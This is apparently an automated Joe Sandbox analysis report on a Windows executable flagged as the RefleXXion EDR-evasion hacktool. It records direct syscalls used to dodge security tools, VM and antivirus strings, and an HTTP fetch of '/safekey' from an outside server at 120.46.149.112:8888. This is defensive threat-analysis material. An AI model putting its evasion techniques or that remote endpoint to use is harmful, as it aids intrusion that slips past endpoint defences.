Edit tour

Windows Analysis Report
GesApIoVpU.exe

Overview

General Information

Sample name:	GesApIoVpU.exe renamed because original name is a hash value
Original sample name:	ff21ad97101c63845d80c0df6808575d05095fa902821dc4fa52e462ef338140.exe
Analysis ID:	1501752
MD5:	c8f9956ef78e7878d289a8b9197eefdb
SHA1:	c315cd7143c01adb167f81d2e2d5df98e872ed2c
SHA256:	ff21ad97101c63845d80c0df6808575d05095fa902821dc4fa52e462ef338140
Tags:	120-46-149-112exe
Infos:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Found direct / indirect Syscall (likely to bypass EDR)

Machine Learning detection for sample

Uses known network protocols on non-standard ports

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

One or more processes crash

Sigma detected: Communication To Uncommon Destination Ports

Classification

Process Tree

System is w10x64

GesApIoVpU.exe (PID: 7356 cmdline: "C:\Users\user\Desktop\GesApIoVpU.exe" MD5: C8F9956EF78E7878D289A8B9197EEFDB)

WerFault.exe (PID: 7496 cmdline: C:\Windows\system32\WerFault.exe -u -p 7356 -s 1072 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

cleanup

Sigma Signatures

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 120.46.149.112, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Users\user\Desktop\GesApIoVpU.exe, Initiated: true, ProcessId: 7356, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49732

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: GesApIoVpU.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: GesApIoVpU.exe	ReversingLabs: Detection: 39%
Source: GesApIoVpU.exe	Virustotal: Detection: 14%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: GesApIoVpU.exe

Joe Sandbox ML: detected

Source: GesApIoVpU.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: E:\Project\RefleXXion\x64\Release\RefleXXion-EXE.pdb source: GesApIoVpU.exe

Networking

Uses known network protocols on non-standard ports

Source: unknown

Network traffic detected: HTTP traffic on port 49732 -> 8888

Source: global traffic

TCP traffic: 192.168.2.4:49732 -> 120.46.149.112:8888

Source: unknown	TCP traffic detected without corresponding DNS query: 120.46.149.112
Source: unknown	TCP traffic detected without corresponding DNS query: 120.46.149.112
Source: unknown	TCP traffic detected without corresponding DNS query: 120.46.149.112
Source: unknown	TCP traffic detected without corresponding DNS query: 120.46.149.112
Source: unknown	TCP traffic detected without corresponding DNS query: 120.46.149.112

Source: C:\Users\user\Desktop\GesApIoVpU.exe

Code function: 0_2_00007FF6D25A1740 malloc,InternetOpenW,InternetOpenUrlA,InternetReadFile,HeapCreate,RtlAllocateHeap,memcpy,

0_2_00007FF6D25A1740

Source: global traffic

HTTP traffic detected: GET /safekey HTTP/1.1User-Agent: myappHost: 120.46.149.112:8888Cache-Control: no-cache

Source: GesApIoVpU.exe, 00000000.00000002.2066914686.0000016F28F8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://120.46.149.112/
Source: GesApIoVpU.exe, 00000000.00000002.2066914686.0000016F28F70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://120.46.149.112/uG
Source: GesApIoVpU.exe, 00000000.00000002.2066914686.0000016F28EFC000.00000004.00000020.00020000.00000000.sdmp, GesApIoVpU.exe, 00000000.00000002.2066914686.0000016F28F70000.00000004.00000020.00020000.00000000.sdmp, GesApIoVpU.exe, 00000000.00000002.2066914686.0000016F28F97000.00000004.00000020.00020000.00000000.sdmp, GesApIoVpU.exe, 00000000.00000002.2066554017.0000002EEB17A000.00000004.00000010.00020000.00000000.sdmp, GesApIoVpU.exe, 00000000.00000002.2066914686.0000016F28F8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://120.46.149.112:8888/safekey
Source: GesApIoVpU.exe, 00000000.00000002.2066554017.0000002EEB17A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://120.46.149.112:8888/safekeyB
Source: GesApIoVpU.exe, 00000000.00000002.2066914686.0000016F28F97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://120.46.149.112:8888/safekeyc
Source: GesApIoVpU.exe, 00000000.00000002.2066914686.0000016F28F8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://120.46.149.112:8888/safekeys
Source: GesApIoVpU.exe, 00000000.00000002.2066914686.0000016F28F8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://120.46.149.112:8888/safekeyv
Source: GesApIoVpU.exe, 00000000.00000002.2066914686.0000016F28F70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://120.46.149.112:8888/safekeyvF
Source: Amcache.hve.3.dr	String found in binary or memory: http://upx.sf.net

Source: C:\Users\user\Desktop\GesApIoVpU.exe

Code function: 0_2_00007FF6D25A13B0 printf,GetModuleHandleA,GetLastError,printf,GetProcAddress,printf,printf,CloseHandle,printf,K32GetModuleInformation,GetLastError,printf,printf,printf,printf,printf,NtProtectVirtualMemory,printf,NtProtectVirtualMemory,printf,printf,GetProcAddress,NtUnmapViewOfSection,printf,FindCloseChangeNotification,printf,

0_2_00007FF6D25A13B0

Source: C:\Users\user\Desktop\GesApIoVpU.exe

Code function: 0_2_00007FF6D25A1740

0_2_00007FF6D25A1740

Source: C:\Users\user\Desktop\GesApIoVpU.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7356 -s 1072

Source: classification engine

Classification label: mal72.troj.evad.winEXE@2/5@0/1

Source: C:\Windows\System32\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7356

Source: C:\Windows\System32\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\89319366-ad9c-4edf-9ade-daf7919c2c39

Jump to behavior

Source: GesApIoVpU.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\GesApIoVpU.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: GesApIoVpU.exe	ReversingLabs: Detection: 39%
Source: GesApIoVpU.exe	Virustotal: Detection: 14%

Source: unknown	Process created: C:\Users\user\Desktop\GesApIoVpU.exe "C:\Users\user\Desktop\GesApIoVpU.exe"
Source: C:\Users\user\Desktop\GesApIoVpU.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7356 -s 1072

Source: C:\Users\user\Desktop\GesApIoVpU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\GesApIoVpU.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: GesApIoVpU.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: GesApIoVpU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: GesApIoVpU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: GesApIoVpU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: GesApIoVpU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: GesApIoVpU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: GesApIoVpU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: GesApIoVpU.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: GesApIoVpU.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: E:\Project\RefleXXion\x64\Release\RefleXXion-EXE.pdb source: GesApIoVpU.exe

Source: GesApIoVpU.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: GesApIoVpU.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: GesApIoVpU.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: GesApIoVpU.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: GesApIoVpU.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown

Network traffic detected: HTTP traffic on port 49732 -> 8888

Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: Amcache.hve.3.dr	Binary or memory string: VMware
Source: GesApIoVpU.exe, 00000000.00000002.2066914686.0000016F28FB3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.3.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.3.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.3.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: GesApIoVpU.exe, 00000000.00000002.2066914686.0000016F28FB3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.3.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: GesApIoVpU.exe, 00000000.00000002.2066914686.0000016F28F70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.3.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.3.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.3.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.3.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.3.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.3.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.3.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.3.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.3.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.3.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.3.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\GesApIoVpU.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\GesApIoVpU.exe

Code function: 0_2_00007FF6D25A20B0 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF6D25A20B0

Source: C:\Users\user\Desktop\GesApIoVpU.exe	Code function: 0_2_00007FF6D25A20B0 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6D25A20B0
Source: C:\Users\user\Desktop\GesApIoVpU.exe	Code function: 0_2_00007FF6D25A2258 SetUnhandledExceptionFilter,	0_2_00007FF6D25A2258
Source: C:\Users\user\Desktop\GesApIoVpU.exe	Code function: 0_2_00007FF6D25A1BC4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF6D25A1BC4

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\GesApIoVpU.exe	NtClose: Direct from: 0x7FF6D25A16EF
Source: C:\Users\user\Desktop\GesApIoVpU.exe	NtSetSecurityObject: Direct from: 0x7FFE221C26A1	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	NtReadVirtualMemory: Direct from: 0x7FF6D25A1532	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	NtAllocateVirtualMemory: Direct from: 0x7FF6D25A18E6	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	NtQuerySystemInformation: Direct from: 0x16F2ADF0080	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	NtAllocateVirtualMemory: Direct from: 0x7FFE221E4B5E	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	NtAllocateVirtualMemory: Direct from: 0x7FF6D25A18D2	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	NtProtectVirtualMemory: Direct from: 0x7FF6D25A1847	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	NtUnmapViewOfSection: Direct from: 0x7FF6D25A16CF	Jump to behavior
Source: C:\Users\user\Desktop\GesApIoVpU.exe	NtQueryInformationToken: Direct from: 0x7FF6D25A1822	Jump to behavior

Source: C:\Users\user\Desktop\GesApIoVpU.exe

Code function: 0_2_00007FF6D25A1F90 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF6D25A1F90

Source: Amcache.hve.3.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	1 Process Injection	LSASS Memory	31 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	2 System Information Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
GesApIoVpU.exe	39%	ReversingLabs	Win64.Hacktool.Reflexon
GesApIoVpU.exe	15%	Virustotal		Browse
GesApIoVpU.exe	100%	Avira	HEUR/AGEN.1363296
GesApIoVpU.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://upx.sf.net	0%	URL Reputation	safe
http://120.46.149.112:8888/safekeys	0%	Avira URL Cloud	safe
http://120.46.149.112:8888/safekey	0%	Avira URL Cloud	safe
http://120.46.149.112/	0%	Avira URL Cloud	safe
http://120.46.149.112:8888/safekeyc	0%	Avira URL Cloud	safe
http://120.46.149.112:8888/safekeyB	0%	Avira URL Cloud	safe
http://120.46.149.112:8888/safekeyvF	0%	Avira URL Cloud	safe
http://120.46.149.112/uG	0%	Avira URL Cloud	safe
http://120.46.149.112:8888/safekeyv	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://120.46.149.112:8888/safekey	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://120.46.149.112:8888/safekeyc	GesApIoVpU.exe, 00000000.00000002.2066914686.0000016F28F97000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://120.46.149.112:8888/safekeys	GesApIoVpU.exe, 00000000.00000002.2066914686.0000016F28F8E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://120.46.149.112:8888/safekeyB	GesApIoVpU.exe, 00000000.00000002.2066554017.0000002EEB17A000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.3.dr	false	URL Reputation: safe	unknown
http://120.46.149.112/	GesApIoVpU.exe, 00000000.00000002.2066914686.0000016F28F8E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://120.46.149.112/uG	GesApIoVpU.exe, 00000000.00000002.2066914686.0000016F28F70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://120.46.149.112:8888/safekeyvF	GesApIoVpU.exe, 00000000.00000002.2066914686.0000016F28F70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://120.46.149.112:8888/safekeyv	GesApIoVpU.exe, 00000000.00000002.2066914686.0000016F28F8E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
120.46.149.112	unknown	China		4847	CNIX-APChinaNetworksInter-ExchangeCN	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1501752
Start date and time:	2024-08-30 12:42:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	GesApIoVpU.exe renamed because original name is a hash value
Original Sample Name:	ff21ad97101c63845d80c0df6808575d05095fa902821dc4fa52e462ef338140.exe
Detection:	MAL
Classification:	mal72.troj.evad.winEXE@2/5@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 4 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

Time	Type	Description
06:43:43	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
120.46.149.112	pDxGUuWkQt.exe	Get hash	malicious	Unknown	Browse	120.46.149.112:8888/safekey
